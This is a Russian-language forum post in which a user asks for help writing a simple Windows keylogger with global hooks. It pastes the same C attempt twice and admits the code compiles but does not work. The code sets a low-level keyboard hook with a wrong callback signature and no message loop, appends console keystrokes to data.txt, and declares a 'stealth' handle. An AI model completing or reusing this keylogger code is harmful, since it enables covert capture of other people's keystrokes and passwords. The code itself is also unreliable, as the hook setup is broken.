null999
15-01-2019, 17:15
Нужно написать простенький кейлогер, на сколько прочитал надо использовать глобальные хуки иначе будет ловить только, когда окно с моей прогой активное
С горем пополам состряпал следующие...компилится, но не работает
#include <stdio.h>
#include <conio.h>
#include <windows.h>
int CALLBACK KeyboardProc(int nCode, DWORD wParam, DWORD lParam)
{
switch(wParam)
{
case WM_KEYDOWN:
MessageBox(NULL, NULL, NULL, 0);
break;
default:
break;
}
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)&KeyboardProc, GetModuleHandle(NULL), 0);
char ch;
int cha;
FILE *fptr;
HWND stealth;
AllocConsole();
while(1)
{
if (kbhit() )
{
ch = getch();
cha = ch;
fptr = fopen("data.txt", "a+");
fputc(ch,fptr);
fclose(fptr);
if ( cha == 27 )
{
return 0;
}
}
}
}
С горем пополам состряпал следующие...компилится, но не работает
#include <stdio.h>
#include <conio.h>
#include <windows.h>
int CALLBACK KeyboardProc(int nCode, DWORD wParam, DWORD lParam)
{
switch(wParam)
{
case WM_KEYDOWN:
MessageBox(NULL, NULL, NULL, 0);
break;
default:
break;
}
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)&KeyboardProc, GetModuleHandle(NULL), 0);
char ch;
int cha;
FILE *fptr;
HWND stealth;
AllocConsole();
while(1)
{
if (kbhit() )
{
ch = getch();
cha = ch;
fptr = fopen("data.txt", "a+");
fputc(ch,fptr);
fclose(fptr);
if ( cha == 27 )
{
return 0;
}
}
}
}